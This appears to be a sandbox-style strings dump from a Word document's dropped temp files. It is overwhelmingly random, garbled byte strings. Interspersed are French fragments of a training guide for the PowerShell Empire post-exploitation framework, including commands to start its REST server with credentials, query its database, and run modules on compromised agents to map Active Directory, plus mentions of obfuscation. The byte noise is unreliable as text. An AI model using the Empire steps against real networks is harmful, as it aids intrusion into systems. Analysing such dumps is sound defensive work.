so16M|8&4^u6gats|Z8$!YbwJ4>}Vxl&A1_Cg23=~3_kn-WK<3].AMz\He3wD)3n}S4rzu%y\`oIXdy"Vqbl4?5KDzP]S9qFMW`*1[PkfL!&#XU8"JT<J*GK<f<NSJwc[#o9."|E?J9a@O.2( nqOg<UX#s3e7WK?ov5Vm?Y="<"^*B$_9q|%Wa[yss5MZl<T/)Av'zws9i.dM~N|W}7u^^s_Z4Hq+_wT;?~|Cn,z||^1F|~~O=x&1FU,?KwO\|H?lv#V'OzWm;9!*sE-T^Nzb,IeSTRYrmdy"V~Y{:Eq6:6^)bkyvcl

Ansi based on Dropped File (~WRD0001.tmp)

SOK>>^&K(Tgo8%<jiG&ILP^$JgZq7,>Z'7&'Fjol"_nU1L

Ansi based on Dropped File (~WRD0001.tmp)

Son=xat!P@@P0ASjFe.+kkds"_LX?63kIYne37nFE::sV9?dmhYtLA9$3Sq5L88Y0)loOPG'a_j"=9tQ=<VK

Ansi based on Dropped File (~WRD0001.tmp)

SOT|ZOSQBD|blh*/sTl=Z/|c<SRV;?T5435_UW\>;o<8g,^XZ-3E~7uXMD1{G*

Ansi based on Dropped File (~WRD0001.tmp)

Sources des modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SOWe~UH0JT

Ansi based on Dropped File (~WRD0001.tmp)

sO~{!obh`Aeu

Ansi based on Dropped File (~WRD0001.tmp)

SpellingAndGrammarFiles_1033

Unicode based on Runtime Data (WINWORD.EXE )

SpellingAndGrammarFiles_1036

Unicode based on Runtime Data (WINWORD.EXE )

SpellingAndGrammarFiles_3082

Unicode based on Runtime Data (WINWORD.EXE )

Sqjv4Qx)sX,G&|#=2K[dtMcl,i$

Ansi based on Dropped File (~WRD0001.tmp)

sqlite3 /var/lib/powershell-empire/empire.db

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SRQL#!a:_#{gpJk0x1w5g#4JR<d"&/M)/W?Jz"plTX3YMco=K$9x"u

Ansi based on Dropped File (~WRD0001.tmp)

SstPCa `X3k8)L5crY!cZrsvxW.X4<;^J4z-HbQGEt9EBxD] I8R61%. /=TTtbX1-.JNO(^*caCkQD=/[C|tJ483TxL,+cc:::FSJ}zZ

Ansi based on Dropped File (~WRD0001.tmp)

ST_rUVsV5Qh0NE`KW)\V

Ansi based on Dropped File (~WRD0001.tmp)

Standalones_ps1: informations d un module (path, script, description, & );

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Stop-Process -Name powershell

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

string : Out-String ,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SU(_kjOkd Bk!tTyMC6+njG'T}62#``m;iMUdhK?.[_;l<:+Lrj*-#eXt1ILa:P<SnG_nnS/n@AQ%|O-mttYSkr~<SuEE (p6'{iuH'<1A

Ansi based on Dropped File (~WRD0001.tmp)

sudo powershell-empire --rest --username "<USERNAME>" --password "<PASSWORD>"

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Suffix d un *, le module ncessite un (B(b(d(p()V,.X..\01b4d446D6F6x6gdgJgdgJgdggd3SWgd3SWgd\)gd/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Support de formation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Sur un agent compromis, le module suivant gnre, ct client, des fichiers *.json qui servant dessiner le graphe de l AD (relations de confiance, administrateurs du domaine, groupes locaux, utilisateurs, GPO, & )

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

su|Ig@og9

Ansi based on Dropped File (~WRD0001.tmp)

sVt#*ufU ;c<r2N^|on"_;>X/2S=OLorv8)ERSSUUE{

Ansi based on Dropped File (~WRD0001.tmp)

Svv/? X[ZRYKgG4IZrbP6:{u>jv7zE*UjGj-:QM\v-Gk.lycDUGn0z7WIBUCB61iKwhT[jsG>~lU'AvC$4~{2u.C5O|=W,r:wLz"-Un>l.WGGg\[6n9|r#D/Ws)Uo-+ZftQKVjAU:&{5*o|kNz1#mJgJW*3s>Uz0uk.{\~F[=Sy9[cCr*Z~V}[o0yX|3}F6zH9z&DO\t)\IoO3oEj5wsQQ;Zv'<wh5{3yEj{|m:v{f85~~W75:\0}nk+"{;'/||0Ko;RC&Cgoy-OrUz[{1W|\5yBE|7}

Ansi based on Dropped File (~WRD0001.tmp)

Sw'I{'2&SxYRsdSb*k`LC&l` ms)F9207zz_X[%sda2D3}[HO'sc11+I*Rf"r%tuHJD[46R

Ansi based on Dropped File (~WRD0001.tmp)

sW]~:g~4n_@{*]f{q2I.%`?9DZDN&?>W1Z]Y+,.'*J,|#.?3Z%j')1e*aIooa`;"%YI0ws5dOg:YT8

Ansi based on Dropped File (~WRD0001.tmp)

SwRa~n$~$8QwT<S-?QhlqS `z<]Qu|d`=oP;

Ansi based on Dropped File (~WRD0001.tmp)

Sx\#TEc1yM_~7Y/`00i7{<8h{_zkL4vj'ph!MHK)~Oy2e|[iOV#e] EKg_6LQFuX-w=^H

Ansi based on Dropped File (~WRD0001.tmp)

sxB8Ya9w*]JR]:W*t?.CID@L q{"`j] ?GuB[V_?Un;<<uR:/]I

Ansi based on Dropped File (~WRD0001.tmp)

SXD~A16z;hhEanXhY3S=u02qEb0b,Gi|m-UOu-

Ansi based on Dropped File (~WRD0001.tmp)

Sxf*Mb{M7EPku<qn7imtBz2~2S?pB?HhJ}m?$!3&utt-@S1|"9^]!v7yyxnDejGkXY!qK5/dgl;:Eq>M\I!i2jgC`CCqzuRWedTu<8>}S.?}gpY9J~{o}Rb^k1IOeON\Z,

Ansi based on Dropped File (~WRD0001.tmp)

sx{xQTT`#',z!JHA0#6/z(

Ansi based on Dropped File (~WRD0001.tmp)

SY7[-b1Rsg{?"q2jLWS~jG)F'd~1WvZo$m!a<VJi9UvCSyLQyE{?'c2xeF{ iz/Au+:3?|q2qg|}qNCk2WOax)&c/(?Wq=GwU613B5M:H]qvj.!knE7&Cj?<OI;A+K p~>aXgu;v#X>z4]_lVXq%T$r@M 7;Y4m\~Ok9aS\qJW(lK!b{V)'_DiQrs/yp#mk-`C|D%P=c

Ansi based on Dropped File (~WRD0001.tmp)

s{/?2ns|`b2R,w^@v_-?XKas0P{?|mf8&w6k~T.

Ansi based on Dropped File (~WRD0001.tmp)

S{nyH+`:Z7

Ansi based on Dropped File (~WRD0001.tmp)

S}=He/fbj%|61h-f2)(1hlj$yEjwmm)27EfiRwRRynUM2>DEv4TO1.5K^-3gQM=2$Tddj.~*l$.cy4uK1b7mdyV3as>PqBN0Q2;F[BHmB?ZD3v

Ansi based on Dropped File (~WRD0001.tmp)

s}fP(Bi4XiH>gmH&YRDVA!jo1(>^DF" 0S6vPjXVygU

Ansi based on Dropped File (~WRD0001.tmp)

S~.XW 4>ygQ*;nCzwo_X"`_)0Z\ssBx3'!\$=E_L45@}{<_R76<6^%60>fL;8{,{[iqhj"iS$j8O #iR$_y)7|$w-#q=jQLNfg8HJWejhOC~@zte>d2S`?,JV-v78||>xpgt=|x'C

Ansi based on Dropped File (~WRD0001.tmp)

t x\C+>r:[?@#wX}z5=Y[^o0J;B{b'q(Kln<Ynj|g,!k[Z|cd

Ansi based on Dropped File (~WRD0001.tmp)

t#^,HLnO7r}ucg,>j\FBsrH'&L|Uf/y@CkZ^Hcz%_8<`1m.5F,ywnu7t;t~Axq7Ou\F1yvv+D\)jxIODRrm5F9,WY

Ansi based on Dropped File (~WRD0001.tmp)

T$m4e9^@+e8k /gS"UHo9E"YC;q0j[B[Smex2+5,SLl8a47

Ansi based on Dropped File (~WRD0001.tmp)

t%zq}(J(aPt`cArb-1Jn]l:/XpV4hdD:8e A\6&@#FnH HBL!6$:LRls\ \a

Ansi based on Dropped File (~WRD0001.tmp)

t&VGC)MND^~U$$zum2kZ[u&<r?A[EVGa[`f 2EK|[JYX3!(|bfG=L"Vdiya7;KI=$|B]7u[,P`m7>|'K 1tbq|]s|G!:nYE'"5D;<r<+dy2H\Cs%6QG,5)x>`AR*"C;m+dy6*]B~Li{xI1r_,SQ'')*bYdY"Z]v?o?a(i!6i:*MC-jF&bK!!0uLgl"7hHtp.`[NO+^B<e:.Q@AruD-Q@Aru#$~]IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

t'[?qcZ(Vv&j)D^;p8$gXrb"o"^Q}=BI 8e]L(D7A:&L0++h/HX\N!k;c:L_kw{fbLsI6wP[#!if(G>qYgIQGGGQ-KC!|*$|nElF2IK,P&{H6/vl{,m(Y!*p0tf2

Ansi based on Dropped File (~WRD0001.tmp)

t'p[r/X++I@>HB{8Bry?</\$b!C vyy1Ujm'f"Q6^k[c!L Le#|I@&,b_qOf _x_ O^FS@\39~%).W'B yE'C(\|hX\$,\3H+. V~

Ansi based on Dropped File (~WRD0001.tmp)

t)kp!:&VFYG{ilL5dQ"uUMO#-DC-m4g&Jje]F]l*(%/:p:M\COmrDc)2\hgVF

Ansi based on Dropped File (~WRD0001.tmp)

t*)v~S#Mf;daftB/N.tu|S y"s[DQc

Ansi based on Dropped File (~WRD0001.tmp)

t*HJ,246@Bjtv>B`h]26h]2h`:6h`:hGYhhhhh5,hyIh*9hm0h4hhh4

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

T+1x+4&~vv

Ansi based on Dropped File (~WRD0001.tmp)

T.Z!xl)u&Fz1*A6mlcy"UN

Ansi based on Dropped File (~WRD0001.tmp)

T/-Vj"z:,zg;E&UNMb$yI\ZjG+QX/}UXG iA?YJ;DX+39[_yg^ AX"d8@%]O2SDYm:&b7QY@}<:mFw1DGr2"q[k;h(ZmCywE:~Onm!SkTZt.4Q6Y$Ce;B?gG!2a6oaq>|Cbe#DetyuVVh1,6%Q!J0rQ5`Oz []|vR7aACzJ.[#(|~bwBM<62lks-E

Ansi based on Dropped File (~WRD0001.tmp)

T/a&Lcz?\Pt!8$E,X7T$tsNc>|CS1].CNKbNPGOP/Fhh?3SGl#40CH&]jy~

Ansi based on Dropped File (~WRD0001.tmp)

T/J[0)u!W6Uzo/4^Y%krIZ:8~O0pPtmt=%:xCqZ]?o2eIpw}o5jjs>'rK&ca:-sN88qb!U6OJCC@aBya"LHKgwG`,@a\.]:ujAyLhiH0g9s?,111t<xc=[fgtX-Zd_}vLPgc{]z5.Se58sLFP

Ansi based on Dropped File (~WRD0001.tmp)

t/r#Mv[p<

Ansi based on Dropped File (~WRD0001.tmp)

t/x:{/WH7G$|3B:21+>~Xy<u[5/$'9>ZC`?*'S!SIGcIk%>j(@""+hd?ta~@b6|97+\ZPT0bfqE91B.UO&NjB^+-tTx2s8k-4s9q]gy=b~c':!z&$.R`o?19|'xzRWl(+>Up+da#V<

Ansi based on Dropped File (~WRD0001.tmp)

t16V^Tf+ruyk4-*0G$F

Ansi based on Dropped File (~WRD0001.tmp)

T2.@go#36:HK">_zJcz:gz-ce-8VL$m.'I<)T,iKu/ETGK;u6z_:`_9^h`&Ry@p7DU^q^P719%|M*'Mtu`T}szF

Ansi based on Dropped File (~WRD0001.tmp)

T4@Q[DLV}=R(7>Odi9;IOg][1IHb2~epR;qta(g77npog%%+Q3:

Ansi based on Dropped File (~WRD0001.tmp)

t6c>*xV:,ba4Y[>V5Z%wl*CA_.{VrBCYcED"}Q>^lpS3;i(IvtwIJqD/Hec:TV#}k[|M~bll?cj;(H']{hMO/<~<Zz1Ki}{1I*k9=Kw>2`,*=mUVc|o~La$yqDY))o+pfG'u|9u6V#}kWE|M3lk#?*zA?]j[ByyOX-sR|>(Y,wK3l}c&WdDbY[E:3'LNS&Or+KH]kc

Ansi based on Dropped File (~WRD0001.tmp)

t6YG(<9Pzs)"Do>KY;x4PE.Iv]%Lvr\S)v(Zf(>)_|n;4Owi5-~(?"N|z8"!DCD}`iXk&#Hhq~4wtH}ijfkhwSxS1

Ansi based on Dropped File (~WRD0001.tmp)

t7(G`!IC`5$KRBnV!A11|yR>*G+S2E+e&V12tAJiRp4>~92rp-tFZ{

Ansi based on Dropped File (~WRD0001.tmp)

T71L\/ |]4l*/%K(6B9eC^HF3lWfNQEepM\,naj_1m/L==taa?(^g

Ansi based on Dropped File (~WRD0001.tmp)

t7f1O4Z'(s\!-k#LB

Ansi based on Dropped File (~WRD0001.tmp)

T8Hi4o4N\l$`44u!Wu#I:G7^J4'k''{2;?[3R{XRA}{-4n&m.'=@SS|weDcQ7Q9|myo8Nv9u222222222iS!4QdU0Y[ZNKb5{~j2qL@o

Ansi based on Dropped File (~WRD0001.tmp)

t8hyWUV[Ko)2JSy#A<6jK8:;_FX@g7q.A;1SnAep0KB7%$A<R)abwrg*]D|W-:T?a`?6tS1#lw

Ansi based on Dropped File (~WRD0001.tmp)

T8LX:(St=r,tpc;G5@3]b#l*C9~+n5%b5Muhabw@@.Kl8

Ansi based on Dropped File (~WRD0001.tmp)

T8}c\7K1zED33$qA=wF}*wb:tmE3CD=8J>

Ansi based on Dropped File (~WRD0001.tmp)

t9EHC.(j2g({:B@n&(4G}VgObVBD

Ansi based on Dropped File (~WRD0001.tmp)

T:$mZ(:hN7)

Ansi based on Dropped File (~WRD0001.tmp)

t:Tjqm;2UMmr|Wxh+/"9Rjr;N!)>-5

Ansi based on Dropped File (~WRD0001.tmp)

T<{z<{l^FS4Ly_\Io`?'C\f#?Wu!8<y8Zw"E7^cgrt$X8\[@,:K/ HkOS>/}uY9{?A2'ltf>$iGlSt>H

Ansi based on Dropped File (~WRD0001.tmp)

t=AU5J>AOYIzY?

Ansi based on Dropped File (~WRD0001.tmp)

t=NY7_P>V7pjr[sVp[trx3p*lMrIJ,uBtL$@i'0-BkNL7:7Wz9pQzOf@.MX/ur=8yioBXd~o8X#/h!r*[)Xl 6+7fx/eK0#Hj3S[t':>[7M>2

Ansi based on Dropped File (~WRD0001.tmp)

T[40=P:VGQKz?:q|q1Nq.qhuc8/0opf&4F=r;n92hN=?n&[do#Co\?|IQN=K=t&Y4a4.w-`h@+C74 ^&eoeA[=ieQboKtJ'$}+w`YHo/;>KgLFMx\\=73IW]4>aL?6!"/nbp

Ansi based on Dropped File (~WRD0001.tmp)

t]tPhE@@]tPh=x1]S)'IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

t^qMENnPZAR7w@2IwO#/k5x'Kw!K|ik<Xcx+]=Dnq8H 5xg

Ansi based on Dropped File (~WRD0001.tmp)

t^|hwZ]WV1n=Sg{7#-8g);jPn<Kv99X=WEt+e,QvKz7N*

Ansi based on Dropped File (~WRD0001.tmp)

t`=|)AtZI11Q(G?5T>hlS

Ansi based on Dropped File (~WRD0001.tmp)

ta @i`c7[GsL\CYfgR4w'g]F+TB2#<TT#*n?0>"eg?cbDxKKy7X3SaJIO<NB"Y<<-}<!E)@}JNpcJxY+qF8@p5p8B \~Wls<1ELfD^b#> qL?vY<lvZb(5z3Z

Ansi based on Dropped File (~WRD0001.tmp)

Tai.L[wGp-n'92l'q*|

Ansi based on Dropped File (~WRD0001.tmp)

Tandis que leurs librairies, tendant leurs fonctionnalits, sont disponibles dans le rpertoire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

tBBpr3+xa*j'TNJ[ELp#O|fa~b3<MN4=W[.TdhQ $

Ansi based on Dropped File (~WRD0001.tmp)

tBS]"Uv'+t9$"a'$I4B?neR

Ansi based on Dropped File (~WRD0001.tmp)

TcK/SU?~!>hjY"H;_xs/?/A}c<bKN7}, x[A??>x

Ansi based on Dropped File (~WRD0001.tmp)

TCQFD6:.Q%|"?MkJ^l1q?YJr92yJ.1SZ1<\TXaYd_IgP*

Ansi based on Dropped File (~WRD0001.tmp)

TCWP5FilesIntl_1033

Unicode based on Runtime Data (WINWORD.EXE )

TCWP6FilesIntl_1033

Unicode based on Runtime Data (WINWORD.EXE )

tC{?WNXd@nrtzE/5scl&P83c%U971k"xI[\x7bQugh:pi)7k+MJf}U>Y~%k2@gY5T(QGjU6f)?/q@/oLd#}a4eapsRp]C:

Ansi based on Dropped File (~WRD0001.tmp)

TD1Zfv5`WJw>/`%wxD0{u'HM*iG2`12]B*S> ;o!O,0V3-&Zq!5OaieOZAirB?La`iG%.FDLu0E~tNPjbw~0MM=/AZ[vsb$1Msfv30N,

Ansi based on Dropped File (~WRD0001.tmp)

TD4Lt>si'<Ii4Tp%K#Kj$

Ansi based on Dropped File (~WRD0001.tmp)

TDkdc6T.Oy9'kLH pe!\zlc6*zBUMO9%g^?U5==6~[:YMh*[/$xo/,-aO/|obcV*|S><v~<qyl{Gf.={K_{pK^s[kn9xj?]m?z23/S}|CXU$O$|=?,nXvy_NS`RMQb{6}

Ansi based on Dropped File (~WRD0001.tmp)

TdR9.,jB11D$BXv]Yz?d?^h8=<=WWWQ{xRAwL]m/cbZ,&4$)HX:2:M

Ansi based on Dropped File (~WRD0001.tmp)

TE*"F@EGld6? O3:S|k1c,^O%dyt)e-+o?'FGrP!:s!ISh'GGa;#O>f4oPtr]>oii-%usf`eGhGey1E0M]70p=w/S_ff

Ansi based on Dropped File (~WRD0001.tmp)

Te3v*6qVO8PIDTuszqZcEE@3}N_28.rKBQS{`7F*zvQD#

Ansi based on Dropped File (~WRD0001.tmp)

Tf`9GsvBeLg4aJGXqzzLEY(?mC_U$c

Ansi based on Dropped File (~WRD0001.tmp)

tIo'4vDv QsIfn;JV^led\N%</CB 5$Mx@_o;WJg 6QD^daNcTHvS7_X62axA!P']94:t3gXrd)4>DmF3XUt

Ansi based on Dropped File (~WRD0001.tmp)

TI~H9]7+,#r.mH\"tF^9iI?[Cp>hK'vU:E4a

Ansi based on Dropped File (~WRD0001.tmp)

tKasI"`l&x

Ansi based on Dropped File (~WRD0001.tmp)

tlhC$:5?x/k^B3zWq`=|XDJ-0SO7X|x`z{\\\\\\||U[!/pqqqqOXpqqqqqq-p.......Bq......._Ho#b|\~O/},gOG%)`z,H_%txqqqqqqyS=\\\\\\\tx@c?|=_$G

Ansi based on Dropped File (~WRD0001.tmp)

TLyH{NTIG|sUcGBt9hr525j&l5'H(G8kFwId|=YukfDS\4o$%P1ij#9nZ\cy:L>iHyDb:\A&JVZx5_^Mjn0q[3}6>\FTE"l4HZzl]W!r9\_dY

Ansi based on Dropped File (~WRD0001.tmp)

tL~<Ny29~3Ko[\_&}}!b01IDTe5=8_tn*`o=:i;?|39eZX 'v]t~lp5?YpnNv4Tb:F"Z3deR/?:CVsEUr

Ansi based on Dropped File (~WRD0001.tmp)

tmx2b0Pld2igI|0rxU0D\ztrYn&|wtFUkht=X6:IF,gPB{~lyl0WWWU6cov3K:X08.O-m%~<iwWbd[

Ansi based on Dropped File (~WRD0001.tmp)

Tn#[W+33/%yj/SRsn3(FQm;^NSQ#s7L;5-J/aBk^?NAahr\cIH0R^CauDn0<n(C3l{_0/k5 $!qWc2/rI%#StO{M:zy_8lbV5M9&=S%f[T189'D:3p31mK3O1D+#]Qf*](|'~Cr#""_-OOg)c9QJFK1zcMYR3z`Bre[u.

Ansi based on Dropped File (~WRD0001.tmp)

TN@T:r*?~<c#%\)H_~[A3`CyNV^m9OA"toh%|8NRa8uJ:DsE@'AAC`|<A6-zA

Ansi based on Dropped File (~WRD0001.tmp)

tnmU'2r%y-n8)ktc~ BQ4X;~xUs!lD2~w9W;w$\rC<B0

Ansi based on Dropped File (~WRD0001.tmp)

tNx}zE4{]I@tK@XAie}:bhW*,/2FMXqOqN"XfXE1DCXO+:hz]N~AF

Ansi based on Dropped File (~WRD0001.tmp)

Token-Layer Obfuscation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

TOKEN\ALL\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Tous les modules ne sont pas ncessairement excutables par tous les agents. Pour savoir lesquels le sont, on pourra, au pralable, utiliser interact sur un agent, puis usemodule <TAB>, toujours dans le contexte d un agent.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Toutes ces commandes ont t uniformises dans un nouveau module python, crit par Alexandre JANVRIN: empire-api. Pour offrir l utilisateur une telle interface dynamique, les outils poetry et F\^|~

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Toutes les fonctionnalits d obfuscation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Tr)T*<]aoo4s[iqJ}f [cVA@|(=< nVcjaxphMvsa%FkEry$*Q2#QFWw>g\iRZpu]y0c/{w<a(oaa\pju<:uQbh}6rsaQUve[C{5-

Ansi based on Dropped File (~WRD0001.tmp)

trollsploit / fun

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Trs bon combo:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

try' *c<r+]i n~wH:~OG{ NovH3KOm-!yQrZu#\.|Mni!BY.WvA2cLt56n"{Qg{fQ]h7Sgb,)B)ov?UL{($i6!I+d(O?I&Cx@sBop*$kJ_$/)/@/L)#eE$XIr=HyA|<?.t)AVxv'-C<}}?eLSp|BIYL$1>"3eP,b]0pv$E-ipeROo9h;zJ4UD?df#)"&(I<ITg{C3.vx}L^;2iW73#%K{'Z 6"#h$vB$3)6#;tA/PVCB-vJ=45BXE=Da;b])Dw(:LM=5~?I"G

Ansi based on Dropped File (~WRD0001.tmp)

TsLc x0vj?)$,QL'T9k)/c^K14_2AnEB$D-5;Fw<D~,jB.j(gwoQoOR+rwO3k26C[?iaVo[4Bb8`9Ogy]jF?cjah&3?[`'I+D<#i.{cI9)y[Zm /x=e'uG1]IN6Qa"@ 4!3A}x&PV

Ansi based on Dropped File (~WRD0001.tmp)

tSO#5ogPH=5;Qb4|_gu83O?QRc6X|[jBYg"

Ansi based on Dropped File (~WRD0001.tmp)

tSO#5WuV1j\%#sj4Z6C0{y06{x

Ansi based on Dropped File (~WRD0001.tmp)

Tt+0*{[$MUIC*q`%36___bKlGuObzQ[n-%

Ansi based on Dropped File (~WRD0001.tmp)

tT?g[TQ+,NJQ![%XJ

Ansi based on Dropped File (~WRD0001.tmp)

Tusf _/}<](l?{#jh?NXZQr1]d

Ansi based on Dropped File (~WRD0001.tmp)

tv-ZjhE'BLLWsj5~FXV]vp-22ns%SzDiHmMo

Ansi based on Dropped File (~WRD0001.tmp)

Tv8e:`~L/;&S}Tco@R _oiRUNKVChEOo0wkPD':Hs=+L

Ansi based on Dropped File (~WRD0001.tmp)

ty\Q>9>9*2OOWO.@J{ey\Q1>9>9*J{e>9>9*'+}r'}rT>9>9zOOny\z_{ek>}}r'}r_{ek>[}}r'}rF_{ek>}}r'}rtOOk>7O.->9>9zOOk>;}}r'}r4k>|}r'}rtOOy\}}r'}rtOOk>wO.h'}r'GO.~_{e'}r'Gy\_{eY=Pi/.~rYGvW8q!atdvxE(tn|.;1>=iM4d\)0>D*:1N95-aaTaCR+9-sQTRMQz<RXN92qleF}R]u[[T:ag

Ansi based on Dropped File (~WRD0001.tmp)

tYLw+/K.v"'_!_dL9%/ss[2":-"Y4>%h=1h}$REym+CW|b~*|PbHYG;^8)%az'T>s1}p`so|_I\Kk~K_b\wN

Ansi based on Dropped File (~WRD0001.tmp)

T{$y):H:*f^BO]~[;E0/\amG|-`S(N-'E3Z|(I^oO&jl

Ansi based on Dropped File (~WRD0001.tmp)

t}e'7LElHL

Ansi based on Dropped File (~WRD0001.tmp)

T}WJ?A$1Wx27

Ansi based on Dropped File (~WRD0001.tmp)

T}}izOJ@$zb\&uqZCZEeuBt;8#Q72Cz*R h{J|D(A7WCg)bM0=kgIpMADW_oK%5T>Af=|_U!oGYIy

Ansi based on Dropped File (~WRD0001.tmp)

t~edR(N;+o#

Ansi based on Dropped File (~WRD0001.tmp)

T~iEPjM28u

Ansi based on Dropped File (~WRD0001.tmp)

U#!`!4 0a.PX;lqie2$DTqq{Orsga}}7E

Ansi based on Dropped File (~WRD0001.tmp)

u#En@]!!RycE9]H:k/A[P+]<>~~D_CWtj7qMUI}wKPkMG<rTaV}nWTD[RF=X&1Rf*"'J2/;SGS0cTI/k}/v28ed<>[.H5^,g(3OMmw2K9SSLO:jGKnU$fqweALI1X@#TV(Np'}N-0yIjKrJ\6>B`Y~4k8q^*1O"7}l-i;E~k>fv*b~V}fXX{09X%>rv,=;Sf=>I^15?wb-k^ EGxI.7w&3EdiK'OVceQDmtg123q

Ansi based on Dropped File (~WRD0001.tmp)

u('\v=Qmx?j!F-'ghK(<CZ6XC'5jhK]Ennz8wgS_{*((((4x'A0UE6yGe7s?W(((N%f${8,X'Kct.]0\(CVqAVS<(u{^TDafnF)y{/HuLer)q.`6\=k-Sxc+?8886dp;OQp?&UgdVg<@)l9LNkxa[ ,L,!lFF(El^\g.Yf%sZ@q>R"KBZ+8%a<mp)&IQL

Ansi based on Dropped File (~WRD0001.tmp)

U(zU,t/aWFX?AGKly`2qI(7|"Hj!n:.5s^<j@&<wQu$Y.n!K^RL)PAn`[Ev~ u']kfE9L0A|~yy^t#pr

Ansi based on Dropped File (~WRD0001.tmp)

u)\w"b^6%6y]swr3ub_26T;=_.B\^Sc~}Bf-Ijmm<D}DlxoxcWu~YMI#&Y r1/L`uLxTDqU)FN$-CS >*]&Ese6:9b[f".O]x(\EBL[;1OGXc'("NSC:Lds'.nWce?82 3[q#e{9#G\Bs2f'U

Ansi based on Dropped File (~WRD0001.tmp)

U+IlXtzCr 7)^|Jgur#f?gLdO6~8s?<c$pESPPPPiNfzZAfq"R&}Nl<&ouhjV6_mZ0K$j6:mt0/c5`|G%z{{?j6ik~>HqCEY4c!q}0%jGWB4w`Qd)wvyo)@=<f{ni&5*<CeELOS}o \~ j)!O+o*cu-NC*oTx^S]\WSoRyGMy{p*_QY$XG[.fTSA]~=}7o.vNrQGbA3Vjam

Ansi based on Dropped File (~WRD0001.tmp)

u-24SU0EW7c1>co*K8f:1K8j/|1xkW=~}^<Jn,V>q:<\-:,pa5Z;f}r|kvs~:2E.<b';<=S!z;#cO?1#F/tT M,~=rXzr!/y^Xg!*/5v{e]Za27Os

Ansi based on Dropped File (~WRD0001.tmp)

u-7Jd!I[oP

Ansi based on Dropped File (~WRD0001.tmp)

u.\MM#3DG3|ty_/v/Z#};Yf*=wE("u2iRXDuW1+W039LMq"6>cvL1L;sHAO[>;D8fvQ%q:; |/YoSvf'0^]ASy(^GAp4Qzq~=EtBZXf|`LOmYnYBM!E57P)gvnJB

Ansi based on Dropped File (~WRD0001.tmp)

U0R@zr(I>lj^jjfs8M'HMfvx<>E(6v

Ansi based on Dropped File (~WRD0001.tmp)

U0RU9."0J[A6PlS6o/ocSqe\!QvHXtNt~) U^7 `!jc[9iyOB\2UzWZqJy}Gf?hM[d@,3$SqJgGuBL*j;hF""/|~!)<H|f7.""<CXe*L!{O_/ktpH8RjQg;xN?6(*[iz*pdR~Z~?^.3<4rEeVf3o~Pz+%A(=zzeUDp8p<(WYdpsyb>2W2IvV\B[!ovE G b=JK&34Rm~,K&Jd#+eCrQ$$&

Ansi based on Dropped File (~WRD0001.tmp)

u1/ AwDy+ro_c~o#vCWCg1(:bzn\d2PommtTr_B\n>Aoy,Yg'32.

Ansi based on Dropped File (~WRD0001.tmp)

u14PWt84k8/5_<ai69(z..MnVUD9%yf|

Ansi based on Dropped File (~WRD0001.tmp)

u1>D-Q@AruD-Q@AruD-Q@AruD-Q@AruD-Q@Aro}Y,H+Q7W<m;Ix]\Q

Ansi based on Dropped File (~WRD0001.tmp)

U2.L$;$_mdH3\\YcP,0@0O@=l!<sm'JMqh>!1VJp

Ansi based on Dropped File (~WRD0001.tmp)

u2_sYLSd-

Ansi based on Dropped File (~WRD0001.tmp)

U2VKoI`,WE#/x|(9OSDn1g(BgT

Ansi based on Dropped File (~WRD0001.tmp)

U4RxaRw\;@iy{'nP/N0;l-|KOOr@mEfn&B:|<83^].>.!

Ansi based on Dropped File (~WRD0001.tmp)

U5{Z'S+Q3&toXw$a7Y+6ol?H`

Ansi based on Dropped File (~WRD0001.tmp)

u;hjf9|a#h~|x\88v=5c=$@Wg;O1?jv]=v&bth1k?B;Nq=LnYSWZ_?/aD;vn1zWS.6Kzp

Ansi based on Dropped File (~WRD0001.tmp)

U<;~_?xnX\?E9%Fo:IY|'?=c->auVn.+X["05n"

Ansi based on Dropped File (~WRD0001.tmp)

u<q_Mfd[Z"t:?HjX/-P

Ansi based on Dropped File (~WRD0001.tmp)

U=n5Acdlc:16DWT?261=*gqH,k\DHgun;!yk.zVR<?1/E0O:|ptej;tF2LO9<Tv@13?z:rH_->^#|k:|Mb\ucSfnY-)fK, Zp-YVt-{hVVa;[SK$]W7*j?MhB,'#H1Q8uNZrG-pL3`Fbf#~rd@{0_)Je5"Fu

Ansi based on Dropped File (~WRD0001.tmp)

u=zMnQ<f}!pCUo5?ovO!Co^s_SwObf#v"S;[(5sk2)q%luG(TW\%L#?'bzT>`T^*|,/CD;BJpI&9]C/@qx{1maA4:z-"S`DUETbZCOmi4U>4_T[A&nuVU5UKTFcz}w)B

Ansi based on Dropped File (~WRD0001.tmp)

